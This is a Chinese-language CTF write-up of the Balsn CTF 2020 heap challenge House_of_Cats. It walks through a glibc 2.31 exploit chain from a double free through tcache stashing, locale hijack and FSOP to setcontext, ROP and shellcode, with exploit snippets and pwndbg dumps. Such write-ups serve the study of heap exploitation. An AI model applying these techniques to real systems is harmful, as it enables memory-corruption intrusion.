BalsnCTF 2020 House_of_Cats WriteUp
0. House_of_Cats
这道题是Balsn CTF 2020的一道0解题,是我当时拼尽全力也无法找到突破口的一道题,并且至少在比赛结束一年后,作者已经给出提示的情况下,网上仍然没有公开WriteUp。
原题在这里,目前作者已给出官方题解。
以下WriteUp均以当时的环境进行说明,现在复现时可能会遇到的问题是glibc 2.31已经更新了多个小版本,和当时的2.31-0ubuntu7可能会有少许差别;新版本内核地址随机化位数更多,libc地址最高字节不再是0x7f,也需要进行调整。
1. glibc 2.31
该题环境为ubuntu 20.04, 对应glibc版本2.31-0ubuntu7,由于年代久远,先回顾一下相关的堆管理机制。
-
tcache从glibc 2.26版开始引入,CTF中主要从ubuntu 18.04使用的glibc 2.27版本开始出现大量tcache相关赛题,最早期的tcache几乎没有任何检查,可以随意分配释放,相较之前fastbin(不可连续释放同一块,分配时会检查size位)要好利用得多。
-
malloc会从tcache中分配,但是calloc不会。
-
tcache在glibc 2.29前的后续各个版本中(包括2.27新的小版本)陆续加入了各种安全检查,主要是在释放时增加了链表检查,无法再直接double free,但是如果key被修改,则会跳过链表检查,继续free;另外链表检查时不会检查其他类型(如fastbin,unsortedbin等)的链表, 所以如果释放一个在fastbin中的堆块时,对应的tcache没有满,则会直接释放到tcache中,除此之外,触发tcache Stashing时,也不会进行链表检查。
-
glibc 2.30/2.31 移除了tcache释放时的一个断言:
assert (tc_idx < TCACHE_MAX_BINS);此为该题解题的一个重点。
2. 题目概览
一个非常典型的菜单题:
🐈 🐈 🐈 🐈 🐈 🐈 🐈 🐈 🐈 🐈
🐈 House of Cats 🐈
🐈 🐈 🐈 🐈 🐈 🐈 🐈 🐈 🐈 🐈
🐈 1. Rescue Leopard cat 🐈
🐈 2. Show Leopard cat 🐈
🐈 3. Release Leopard cat 🐈
🐈 4. Exit 🐈
🐈 🐈 🐈 🐈 🐈 🐈 🐈 🐈 🐈 🐈
choice :
分别对应分配,打印,释放的功能,但cat_list只有两个空位。 有seccomp,one gadget肯定不行,只能走open-read-write。
3. 漏洞点
该题难点在于利用,漏洞点非常明显,在删除功能中,没有检查inuse,没有清空cat_list中的指针,可以double free。
unsigned __int64 dele()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
output("Cat index : ");
v1 = 0;
__isoc99_scanf("%x", &v1);
if ( v1 <= 1 )
{
free(cat_list[v1]);
inuse[v1] = 0;
}
else
{
puts("Cat doesn't exist");
}
return v2 - __readfsqword(0x28u);
}
但打印功能会检查inuse,无法直接打印被释放堆块中的内容。
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
output("Cat index : ");
v1 = 0;
__isoc99_scanf("%x", &v1);
if ( v1 <= 1 && inuse[v1] )
{
output(byte_21EC);
sub_13E6(*(_DWORD *)cat_list[v1]);
output(asc_21F9);
output((const char *)cat_list[v1] + 4);
output("\n");
}
else
{
puts("Cat doesn't exist");
}
return v2 - __readfsqword(0x28u);
}
4. 泄漏堆地址
由于本题使用calloc分配,所以可以反复 create+delete 同尺寸填满 tcache(7 个),之后的 free 进入 fastbin
free(A)#0; free(B)#1; calloc→B#0; 此时B重新分配会#0处,但#1处指针不清; free(B)#1 把刚刚分配在#0处的释放掉,此时可以show(#0)泄漏出fastbin的fd,即可得到堆地址,但要注意ID部分会将hex数据转成整数输出。
for i in range(3): create(0x18,'M30W'); delete(0) # d0..d2 -> tcache[0] (0x20)
for i in range(7): create(0x28,'M30W'); delete(0) # c0..c6 -> tcache[1] (0x30)
create(0x28) #0 # A
create(0x28) #1 # B
delete(1); delete(0) # fastbin[1] = A->B
create(0x38) #0 # G (0x40, 守护块)
for i in range(7): create(0x38); delete(1) # tcache[2] 填满 (0x40)
delete(0) # G -> fastbin[2]
create(0x28) #0 # 从 fastbin 取回 A
create(0x28) #1' # 取回 B
delete(0); delete(1) # fastbin[1] = A->B
create(0x28) #0 # 取回 B -> slot0=B(存活), slot1=B(悬空) ★ dup
delete(1) # 用悬空指针 free B -> fastbin[1] = B->A(fasttop 只查表头 A≠B,通过)
show(0) # ID=B.fd低32位(A), Name=B.fd高32位 -> heap
5. 泄漏libc地址
一般菜单题泄漏堆都是靠大块(unsorted bin/large bin)上fd,bk指向的arena地址来泄漏libc地址,但本题限制了分配大小最大为0x38, 所以无法直接靠题目本身的功能直接分配一个大块来泄漏libc地址。
所以需要借助malloc_consolidate机制,其用于将 fastbin 中的空闲堆块进行合并,并放入unsorted bin中,常见的触发方式有:
- 申请 Large Bin 大小的内存时:向 malloc() 请求较大尺寸的内存,且无法直接从 fastbin 或 smallbin 中满足时。
- Top Chunk 空间不足:当前 top chunk 的剩余空间无法满足当前的分配请求,系统需要整理碎片。
- 调用 malloc_trim() 时:尝试将堆内存返还给操作系统内核前,会先进行碎片整理。
这里题目输入用到的是scanf,所以可以通过给scanf输入长数据,让scanf分配 ≥ MIN_LARGE_SIZE(0x400)的堆块,来触发malloc_consolidate。
这里选择在输入choice时,输入0x400个”0”触发,几乎没有什么副作用。
我们先在堆上构造出相邻的两个空闲堆块,并且按之前的方式让cat_list中两个指针都指向同一个,且一个处于inuse状态:
cat_list/inuse:
pwndbg> x/20gx 0x55d40189e000+0x4100
0x55d4018a2100: 0x000055d413827480 0x000055d413827480
0x55d4018a2110: 0x0000000100000000 0x0000000000000000
0x55d4018a2120: 0x0000000000000000 0x0000000000000000
bins:
tcachebins
0x20 [ 3]: 0x55d4138272e0 —▸ 0x55d4138272c0 —▸ 0x55d4138272a0 ◂— 0x0
0x30 [ 7]: 0x55d413827420 —▸ 0x55d4138273f0 —▸ 0x55d4138273c0 —▸ 0x55d413827390 —▸ 0x55d413827360 —▸ 0x55d413827330 —▸ 0x55d413827300 ◂— 0x0
0x40 [ 7]: 0x55d413827670 —▸ 0x55d413827630 —▸ 0x55d4138275f0 —▸ 0x55d4138275b0 —▸ 0x55d413827570 —▸ 0x55d413827530 —▸ 0x55d4138274f0 ◂— 0x0
fastbins
0x30: 0x55d413827470 —▸ 0x55d413827440 ◂— 0x0
0x40: 0x55d4138274a0 ◂— 0x0
unsortedbin
empty
smallbins
empty
largebins
empty
通过sendlineafter('choice : ','0'*0x400)触发malloc_consolidate后:
bins:
tcachebins
0x20 [ 3]: 0x55d4138272e0 —▸ 0x55d4138272c0 —▸ 0x55d4138272a0 ◂— 0x0
0x30 [ 7]: 0x55d413827420 —▸ 0x55d4138273f0 —▸ 0x55d4138273c0 —▸ 0x55d413827390 —▸ 0x55d413827360 —▸ 0x55d413827330 —▸ 0x55d413827300 ◂— 0x0
0x40 [ 7]: 0x55d413827670 —▸ 0x55d413827630 —▸ 0x55d4138275f0 —▸ 0x55d4138275b0 —▸ 0x55d413827570 —▸ 0x55d413827530 —▸ 0x55d4138274f0 ◂— 0x0
fastbins
empty
unsortedbin
empty
smallbins
0xa0: 0x55d413827440 —▸ 0x7f19318bac70 (main_arena+240) ◂— 0x55d413827440
largebins
empty
此时,0x000055d413827480处被写入了areana地址,从而计算出libc基地址:
pwndbg> p/x &main_arena
$1 = 0x7f19318bab80
pwndbg> x/100gx 0x000055d413827440
0x55d413827440: 0x0000000000000000 0x00000000000000a1
0x55d413827450: 0x00007f19318bac70 0x00007f19318bac70
0x55d413827460: 0x0000000000000000 0x0000000000000000
0x55d413827470: 0x0000000000000000 0x0000000000000031
0x55d413827480: 0x00007f19318babe0 0x00007f19318babe0
0x55d413827490: 0x0000000000000000 0x0000000000000000
0x55d4138274a0: 0x0000000000000060 0x0000000000000040
0x55d4138274b0: 0x0000000000000000 0x0000000000000000
0x55d4138274c0: 0x0000000000000000 0x0000000000000000
0x55d4138274d0: 0x0000000000000000 0x0000000000000000
0x55d4138274e0: 0x00000000000000a0 0x0000000000000040
0x55d4138274f0: 0x0000000000000000 0x000055d413827010
0x55d413827500: 0x0000000000000000 0x0000000000000000
0x55d413827510: 0x0000000000000000 0x0000000000000000
0x55d413827520: 0x0000000000000000 0x0000000000000041
6. 修改 mp_.tcache_count
这里通过一系列堆风水,使得原先在cat_list上的指针(0x000055d413827480)落在合并后0xa0大小的unsorted bin内部,然后我们可以从unsorted bin中切割分配,
得到一个分配在0x55d413827470处的块,使cats_list上两个块发生重叠,于是可以通过一个块修改掉另一个块的堆头,fd/bk指针,修改其size和key等重要结构。
但是现在有个问题,由于本题限制了分配大小,可用的tcache数量不多,而且又是通过calloc分配,无法取回已经释放到tcache的堆块,而我们刚刚为了泄漏libc地址,几乎把所有能用的tcache填满了,失去了tcache后,很难继续完成利用。
所以现在要修改mp_.tcache_count来扩大tcache数量,使tcache”复活”。
这一步通过前面提到过的tcache Stashing机制完成,将small bin中的空闲堆块插入到tcache中,还是借助scanf中的分配来触发。
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin) {
//tc_victim为链表中最后一个空闲块
bck = tc_victim->bk; // ← 伪造 chunk 的 bk 完全可控,且无完整性检查
bin->bk = bck;
bck->fd = bin; // ★ 任意地址写入 libc 指针(stash unlink attack)
tcache_put(tc_victim, tc_idx); // ★ e->next=旧链头(受控堆指针) 写到 F+0x10
}
由此可以实现两类任意写:
- bck->fd = bin:把 smallbin 头地址写进任意 libc 地址
- tcache_put(fake):把受控堆指针写进任意地址(F+0x10),同时 F+0x18=&tcache
但要首先需要先控制small bin中的指针。
利用现在已经构造出来的overlap状态,通过修改堆头size为,破坏tcache key,然后重复释放的方式,获得一个可控的unsorted bin中的堆块
for i in range(TCACHE_COUNT-4-1):
create(0x38,p32(0)+p64(0x21)) #0
delete(1)
delete(0)
for i in range(TCACHE_COUNT+1):
create(0x38,p32(0)+p64(0xf1)) #0
delete(1)
delete(0)
堆布局大致如下:
pwndbg> bins
tcachebins
0x20 [ 6]: 0x55c0ad2a3480 —▸ 0x55c0ad2a34a0 ◂— 0x0
0x30 [ 7]: 0x55c0ad2a3420 —▸ 0x55c0ad2a33f0 —▸ 0x55c0ad2a33c0 —▸ 0x55c0ad2a3390 —▸ 0x55c0ad2a3360 —▸ 0x55c0ad2a3330 —▸ 0x55c0ad2a3300 ◂— 0x0
0x40 [ 7]: 0x55c0ad2a3670 —▸ 0x55c0ad2a3630 —▸ 0x55c0ad2a35f0 —▸ 0x55c0ad2a35b0 —▸ 0x55c0ad2a3570 —▸ 0x55c0ad2a3530 —▸ 0x55c0ad2a34f0 ◂— 0x0
0xf0 [ 7]: 0x55c0ad2a3480 —▸ 0x55c0ad2a34a0 ◂— 0x0
fastbins
0x40: 0x55c0ad2a3460 ◂— 0x0
unsortedbin
all: 0x55c0ad2a3470 —▸ 0x55c0ad2a34a0 —▸ 0x7f0d716fabe0 (main_arena+96) ◂— 0x55c0ad2a3470
smallbins
empty
largebins
empty
然后,我们就通过从fastbins中分配出来0x55c0ad2a3460去修改unsortedbin中的0x55c0ad2a3470.
将其size修改为0x20后,下一次触发malloc_consolidate则会将其搬到0x20的small bin中.
create(0x38,p32(0)+p64(0x21)+p64(heap_addr+0x4a0)+p64(libc_base+unsorted_bin_offset)+p64(0x20)+p64(0x20)) #0
scanf_consolidate()
堆布局大致如下:
pwndbg> bins
tcachebins
0x20 [ 6]: 0x559730b86480 —▸ 0x7f79f79a2bf0 (main_arena+112) —▸ 0x7f79f79a2be0 (main_arena+96) —▸ 0x559730b866a0 ◂— 0x0
0x30 [ 7]: 0x559730b86420 —▸ 0x559730b863f0 —▸ 0x559730b863c0 —▸ 0x559730b86390 —▸ 0x559730b86360 —▸ 0x559730b86330 —▸ 0x559730b86300 ◂— 0x0
0x40 [ 7]: 0x559730b86670 —▸ 0x559730b86630 —▸ 0x559730b865f0 —▸ 0x559730b865b0 —▸ 0x559730b86570 —▸ 0x559730b86530 —▸ 0x559730b864f0 ◂— 0x0
0xf0 [ 7]: 0x559730b86480 —▸ 0x7f79f79a2bf0 (main_arena+112) —▸ 0x7f79f79a2be0 (main_arena+96) —▸ 0x559730b866a0 ◂— 0x0
fastbins
empty
unsortedbin
empty
smallbins
0x20: 0x559730b86470 —▸ 0x7f79f79a2bf0 (main_arena+112) ◂— 0x559730b86470
0x40: 0x559730b864a0 —▸ 0x7f79f79a2c10 (main_arena+144) ◂— 0x559730b864a0
largebins
empty
通过再次分配修改,使得smallbin上的bk指向mp_.tcache_count-0x5:
pwndbg> bins
tcachebins
0x20 [ 6]: 0x55b6a2954480 ◂— 0x0
0x30 [ 7]: 0x55b6a2954420 —▸ 0x55b6a29543f0 —▸ 0x55b6a29543c0 —▸ 0x55b6a2954390 —▸ 0x55b6a2954360 —▸ 0x55b6a2954330 —▸ 0x55b6a2954300 ◂— 0x0
0x40 [ 7]: 0x55b6a2954670 —▸ 0x55b6a2954630 —▸ 0x55b6a29545f0 —▸ 0x55b6a29545b0 —▸ 0x55b6a2954570 —▸ 0x55b6a2954530 —▸ 0x55b6a29544f0 ◂— 0x0
0xf0 [ 7]: 0x55b6a2954480 ◂— 0x0
fastbins
0x30: 0x55b6a2954470 ◂— 0x0
unsortedbin
empty
smallbins
0x20 [corrupted]
FD: 0x55b6a2954470 ◂— 0x0
BK: 0x55b6a2954470 —▸ 0x55b6a29544c0 —▸ 0x7f5119be52cb (mp_+75) ◂— 0x0
largebins
empty
pwndbg> p/x &mp_.tcache_count
$2 = 0x7f5119be52e0
下次分配0x20 small bin时,则会将arena地址写入mp_.tcache_count-0x5,于是mp_.tcache_count被改写为0x7f,可以继续使用tcache了。
pwndbg> bins
tcachebins
0x20 [ 7]: 0x563e8540e4d0 —▸ 0x563e8540e480 ◂— 0x5730334d21c2a105
0x30 [ 7]: 0x563e8540e420 —▸ 0x563e8540e3f0 —▸ 0x563e8540e3c0 —▸ 0x563e8540e390 —▸ 0x563e8540e360 —▸ 0x563e8540e330 —▸ 0x563e8540e300 ◂— 0x0
0x40 [ 7]: 0x563e8540e670 —▸ 0x563e8540e630 —▸ 0x563e8540e5f0 —▸ 0x563e8540e5b0 —▸ 0x563e8540e570 —▸ 0x563e8540e530 —▸ 0x563e8540e4f0 ◂— 0x0
0xf0 [ 7]: 0x563e8540e480 ◂— 0x5730334d21c2a105
fastbins
0x30: 0x563e8540e470 ◂— 0x5730334d21c2a105
0x40: 0x563e8540e4a0 ◂— 0x0
unsortedbin
empty
smallbins
0x20 [corrupted]
FD: 0x563e8540e470 ◂— 0x5730334d21c2a105
BK: 0x7f58fc97f2cb (mp_+75) ◂— 0x0
largebins
empty
pwndbg> x/10gx &mp_.tcache_count
0x7f58fc97f2e0 <mp_+96>: 0x000000000000007f 0x0000000000000000
0x7f58fc97f2f0 <obstack_exit_failure>: 0x0000000000000001 0x0000000000780000
0x7f58fc97f300 <__x86_raw_shared_cache_size_half>: 0x00000000003c0000 0x0000000000780000
0x7f58fc97f310 <__x86_shared_cache_size_half>: 0x00000000003c0000 0x000000000000c000
0x7f58fc97f320 <__x86_raw_data_cache_size_half>: 0x0000000000006000 0x000000000000c000
pwndbg> x/20gx 0x7f58fc97f2cb
0x7f58fc97f2cb <mp_+75>: 0x0000400000563e85 0x0004080000000000
0x7f58fc97f2db <mp_+91>: 0x00007f58fc97fbf0 0x0000000000000000
0x7f58fc97f2eb <mp_+107>: 0x0000010000000000 0x7800000000000000
7. locale / __ctype_b 劫持(让 scanf 可以读任意字节)
__vfscanf_internal 通过 __libc_tsd_LOCALE(TLS fs-0x90)取 locale:
curctype = loc[0]
curnumeric = loc[1] -> decimal = curnumeric[8], thousands = curnumeric[9]
__ctype_b = loc[13] ← 关键:字符分类表指针
__ctype_tolower = loc[14]
按照之前的方法一通堆风水后,将_nl_global_locale放入fastbins中:
pwndbg> bins
tcachebins
0x20 [125]: 0x562acb639480 ◂— 0x0
0x30 [125]: 0x562acb639480 ◂— 0x0
0x40 [127]: 0x562acb63b430 —▸ 0x562acb63b3f0 —▸ 0x562acb63b3b0 —▸ 0x562acb63b370 —▸ 0x562acb63b330 —▸ 0x562acb63b2f0 —▸ 0x562acb63b2b0 —▸ 0x562acb63b270 ◂— ...
0x50 [127]: 0x562acb639480 ◂— 0x0
0xa0 [27536]: 0x0
0xb0 [7662]: 0x0
0xc0 [32596]: 0x0
0xe0 [36880]: 0x0
0xf0 [52067]: 0x562acb639480 ◂— 0x0
0x100 [22058]: 0x0
0x130 [127]: 0x562acb639480 ◂— 0x0
fastbins
0x20: 0x562acb639490 —▸ 0x562acb63b3f0 —▸ 0x7f541dee74f8 (_nl_global_locale+88) —▸ 0x7f541de9a3c0 (_nl_C_LC_CTYPE_class+256) ◂— 0x2002200220030002
unsortedbin
empty
smallbins
0x20 [corrupted]
FD: 0x562acb639470 ◂— 0x0
BK: 0x7f541dee62cb (mp_+75) ◂— 0x0
largebins
empty
然后就可以将__ctype_b指向受控堆地址:
pwndbg> x/30gx &_nl_global_locale
0x7f541dee74a0 <_nl_global_locale>: 0x00007f541dee36c0 0x00007f541dee3c00
0x7f541dee74b0 <_nl_global_locale+16>: 0x00007f541dee3c80 0x00007f541dee4500
0x7f541dee74c0 <_nl_global_locale+32>: 0x00007f541dee3a40 0x00007f541dee39c0
0x7f541dee74d0 <_nl_global_locale+48>: 0x0000000000000000 0x00007f541dee41c0
0x7f541dee74e0 <_nl_global_locale+64>: 0x00007f541dee4220 0x00007f541dee42a0
0x7f541dee74f0 <_nl_global_locale+80>: 0x00007f541dee4360 0x00007f541dee43e0
0x7f541dee7500 <_nl_global_locale+96>: 0x00007f541dee4440 0x0000562acb63b400
0x7f541dee7510 <_nl_global_locale+112>: 0x0000562acb639010 0x00007f541de99ac0
pwndbg> x/20gx 0x0000562acb63b400
0x562acb63b400: 0x0000562acb639480 0x0000562acb639010
0x562acb63b410: 0x1000200010001000 0x1000100010001000
0x562acb63b420: 0x1000100010001000 0x0000000000000041
0x562acb63b430: 0x0000562acb63b3f0 0x0000562acb639010
0x562acb63b440: 0x1000100010001000 0x1000100010001000
0x562acb63b450: 0x1000100010001000 0x1000100010001000
0x562acb63b460: 0x1000100010001000 0x000000000001eba1
0x562acb63b470: 0x0000000000000000 0x0000000000000000
0x562acb63b480: 0x0000000000000000 0x0000000000000000
0x562acb63b490: 0x0000000000000000 0x0000000000000000
\x00\x10=0x1000= ISXDIGIT\x00\x20=0x2000= ISPACE(\n保持可终止)
8. 改 tcache_bins, 使得scanf的大分配走tcache
又是一通堆风水后,和之前改mp_.tcache_count一样, 使smallbin上的bk指向mp_.tcache_bins-0x10,直接将mp_.tcache_bins改为一个指针,这样基本上不管malloc多大,都会从tcache分配。
pwndbg> bins
tcachebins
0x20 [127]: 0x7ff7520cf508 (_nl_global_locale+104) —▸ 0x55ddde39c400 —▸ 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
0x30 [125]: 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
0x40 [127]: 0x55ddde39c430 —▸ 0x55ddde39c3f0 —▸ 0x55ddde39c3b0 —▸ 0x55ddde39c370 —▸ 0x55ddde39c330 —▸ 0x55ddde39c2f0 —▸ 0x55ddde39c2b0 —▸ 0x55ddde39c270 ◂— ...
0x50 [127]: 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
0xa0 [60304]: 0x0
0xb0 [21004]: 0x0
0xc0 [32759]: 0x0
0xe0 [40976]: 0x0
0xf0 [56889]: 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
0x100 [21981]: 0x0
0x130 [127]: 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
0x170 [127]: 0x55ddde39a480 —▸ 0x55ddde39a4b0 ◂— 0x0
fastbins
empty
unsortedbin
empty
smallbins
0x20 [corrupted]
FD: 0x55ddde39a470 —▸ 0x55ddde39a4b0 —▸ 0x7ff7520cec00 (main_arena+128) ◂— 0x55ddde39a470
BK: 0x7ff7520ce2cb (mp_+75) ◂— 0x0
0x30 [corrupted]
FD: 0x55ddde39a470 —▸ 0x55ddde39a4b0 —▸ 0x7ff7520cec00 (main_arena+128) ◂— 0x55ddde39a470
BK: 0x55ddde39a4b0 —▸ 0x55ddde39a470 —▸ 0x55ddde39a480 —▸ 0x7ff7520ce2c0 (mp_+64) ◂— 0xf7520cebf0000408
largebins
empty
tcache Stashing触发后:
pwndbg> x/10gx &mp_.tcache_bins
0x7ff7520ce2d0 <mp_+80>: 0x00007ff7520cec00 0xf7520cebf0000408
0x7ff7520ce2e0 <mp_+96>: 0x000000000000007f 0x0000000000000000
同时,由于tcache管理块(tcache_perthread_struct)就在堆上,一般这种pwn题就在第一块分配的堆之前:
在下面这次heap中,0x55ddde39a000处0x290大小的块就是tcache_perthread_struct,下面0x55ddde39a290开始就都是我们自己的堆风水了。
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a000
Size: 0x290 (with flag bits: 0x291)
Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a290
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a2b0
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a2d0
Size: 0x20 (with flag bits: 0x21)
Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a2f0
Size: 0x30 (with flag bits: 0x31)
Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a320
Size: 0x30 (with flag bits: 0x31)
Allocated chunk | PREV_INUSE
Addr: 0x55ddde39a350
Size: 0x30 (with flag bits: 0x31)
typedef struct tcache_perthread_struct {
uint16_t counts[TCACHE_MAX_BINS]; // 每个 bin 中当前缓存的 chunk 数量
tcache_entry *entries[TCACHE_MAX_BINS]; // 指向 64 个不同大小 bin 链表头部的指针数组
} tcache_perthread_struct;
现在回到一开始提到的glibc 2.30移除的一处断言:
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
//glibc 2.30 移除
//assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
移除这处断言后,导致即使tc_idx > TCACHE_MAX_BINS,仍然可以越界写到entries[127](0x810 chunk).
entries[127] 的地址 = heap + 0x10 + 0x80 + 127*8 = heap+0x488 可以通过堆风水,落在我们可控的堆块中。
9. 最终 payload —— FSOP + setcontext + ROP + shellcode
写entries[127]到stdin.bufbase:
create(0x37,p32(0)+p64(0)+p64(0)+p64(libc_base+stdin_bufbase_offset+1-0x400))
后续scanf长输入(>1024 字符)触发 malloc(0x800)(0x810, idx127)→ 分配到stdin_bufbase+1-0x400:
__GI___libc_scratch_buffer_grow_preserve (buffer=buffer@entry=0x7fff2a3ae6d0) at scratch_buffer_grow_preserve.c:38
38 scratch_buffer_grow_preserve.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────
RAX 0x7fc0cfc6c5b9 (builtin_modules+377) ◂— 0x0
RBX 0x7fff2a3ae6d0 —▸ 0x7fff2a3ae6e0 ◂— 0x3030303030303030 ('00000000')
RCX 0x5627f8fc910e ◂— 0x0
RDX 0x0
RDI 0x800
RSI 0x0
R8 0x7fc0cfc6c5b9 (builtin_modules+377) ◂— 0x0
R9 0x7fc0cfc6c240 (pa_next_type) ◂— 0x8
R10 0xc9
R11 0x246
R12 0x7fff2a3ae6e0 ◂— 0x3030303030303030 ('00000000')
R13 0x400
R14 0x7fff2a3ae6e0 ◂— 0x3030303030303030 ('00000000')
R15 0x402
RBP 0x800
*RSP 0x7fff2a3ae3f0 ◂— 0x400
*RIP 0x7fc0cfb22be0 (__libc_scratch_buffer_grow_preserve+96) ◂— test rax, rax
───────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────
0x7fc0cfb1e306 <malloc+166> pop rbx
0x7fc0cfb1e307 <malloc+167> mov rax, r8
0x7fc0cfb1e30a <malloc+170> pop rbp
0x7fc0cfb1e30b <malloc+171> pop r12
0x7fc0cfb1e30d <malloc+173> ret
↓
► 0x7fc0cfb22be0 <__libc_scratch_buffer_grow_preserve+96> test rax, rax
0x7fc0cfb22be3 <__libc_scratch_buffer_grow_preserve+99> je __libc_scratch_buffer_grow_preserve+173 <__libc_scratch_buffer_grow_preserve+173>
0x7fc0cfb22be5 <__libc_scratch_buffer_grow_preserve+101> mov rdx, r13
0x7fc0cfb22be8 <__libc_scratch_buffer_grow_preserve+104> mov rsi, r12
0x7fc0cfb22beb <__libc_scratch_buffer_grow_preserve+107> mov rdi, rax
0x7fc0cfb22bee <__libc_scratch_buffer_grow_preserve+110> call *ABS*+0xa3ad0@plt <*ABS*+0xa3ad0@plt>
────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fff2a3ae3f0 ◂— 0x400
01:0008│ 0x7fff2a3ae3f8 —▸ 0x7fff2a3aeb30 —▸ 0x7fff2a3aec30 —▸ 0x7fff2a3aec50 ◂— 0x0
02:0010│ 0x7fff2a3ae400 ◂— 0xffffffff
03:0018│ 0x7fff2a3ae408 —▸ 0x7fc0cfc6c980 (_IO_2_1_stdin_) ◂— 0xfbad208b
04:0020│ 0x7fff2a3ae410 ◂— 0xc9
05:0028│ 0x7fff2a3ae418 —▸ 0x7fc0cfae9094 (__vfscanf_internal+5396) ◂— movzx r10d, byte ptr [rbp - 0x630]
06:0030│ 0x7fff2a3ae420 ◂— 0xfffe5475c7600000
07:0038│ 0x7fff2a3ae428 ◂— 0x0
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────
► 0 0x7fc0cfb22be0 __libc_scratch_buffer_grow_preserve+96
1 0x7fc0cfae9094 __vfscanf_internal+5396
2 0x7fc0cfae9094 __vfscanf_internal+5396
3 0x7fc0cfae9094 __vfscanf_internal+5396
4 0x7fc0cfae9094 __vfscanf_internal+5396
5 0x7fc0cfae72e2 __isoc99_scanf+178
6 0x5627c60665f4
7 0x5627c6066978
pwndbg> p stdin
$1 = (FILE *) 0x7fc0cfc6c980 <_IO_2_1_stdin_>
pwndbg> p &__malloc_hook
$21 = (void *(**)(size_t, const void *)) 0x7fc0cfc6cb70 <__malloc_hook>
最后:
- 重写
_IO_2_1_stdin_:flags=0xfbad2082、vtable=_IO_str_jumps-0x10(vtable 合法区间内偏移,绕过 vtable_check) __malloc_hook在_IO_2_1_stdin_+0x1f0 处,可以一起改。- 走 _IO_str_overflow:其内部 malloc(2*(buf_end-buf_base)+100) 命中被 payload 改写的 __malloc_hook = setcontext+0x3d,此时 rdx = fp->_IO_write_ptr(指向伪造的 ucontext)
- setcontext 恢复寄存器 → ROP:mprotect(libc页, 0x2000, RWX) → 跳入 shellcode
pwndbg> p __malloc_hook
$22 = (void *(*)(size_t, const void *)) 0x7f324503a0dd <setcontext+61>
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────
*RAX 0x7f324503a0dd (setcontext+61) ◂— mov rsp, qword ptr [rdx + 0xa0]
RBX 0x7f32451cd980 (_IO_2_1_stdin_) ◂— 0xfbad2082
*RCX 0x0
*RDX 0x7f32451cd9c0 (_IO_2_1_stdin_+64) ◂— 0xe8000000
*RDI 0x64
*RSI 0x7f3245078bad (_IO_str_overflow+125) ◂— mov r13, rax
R8 0x0
*R9 0x7f32451cd240 (pa_next_type) ◂— 0x8
*R10 0xe8
R11 0x246
*R12 0x0
*R13 0x7f32451cd980 (_IO_2_1_stdin_) ◂— 0xfbad2082
*R14 0xe8000000
*R15 0x64
*RBP 0x1e8
*RSP 0x7ffd6c13d918 —▸ 0x7f3245078bad (_IO_str_overflow+125) ◂— mov r13, rax
*RIP 0x7f324503a0dd (setcontext+61) ◂— mov rsp, qword ptr [rdx + 0xa0]
───────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────
► 0x7f324503a0dd <setcontext+61> mov rsp, qword ptr [rdx + 0xa0] <_IO_wide_data_0>
0x7f324503a0e4 <setcontext+68> mov rbx, qword ptr [rdx + 0x80]
0x7f324503a0eb <setcontext+75> mov rbp, qword ptr [rdx + 0x78]
0x7f324503a0ef <setcontext+79> mov r12, qword ptr [rdx + 0x48]
0x7f324503a0f3 <setcontext+83> mov r13, qword ptr [rdx + 0x50]
0x7f324503a0f7 <setcontext+87> mov r14, qword ptr [rdx + 0x58]
0x7f324503a0fb <setcontext+91> mov r15, qword ptr [rdx + 0x60]
0x7f324503a0ff <setcontext+95> test dword ptr fs:[0x48], 2
0x7f324503a10b <setcontext+107> je setcontext+294 <setcontext+294>
↓
0x7f324503a1c6 <setcontext+294> mov rcx, qword ptr [rdx + 0xa8]
0x7f324503a1cd <setcontext+301> push rcx
────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffd6c13d918 —▸ 0x7f3245078bad (_IO_str_overflow+125) ◂— mov r13, rax
01:0008│ 0x7ffd6c13d920 ◂— 0xa /* '\n' */
02:0010│ 0x7ffd6c13d928 —▸ 0x7f32451cd980 (_IO_2_1_stdin_) ◂— 0xfbad2082
03:0018│ 0x7ffd6c13d930 —▸ 0x7f32451cf4a0 (_IO_file_jumps) ◂— 0x0
04:0020│ 0x7ffd6c13d938 ◂— 0xffffffff
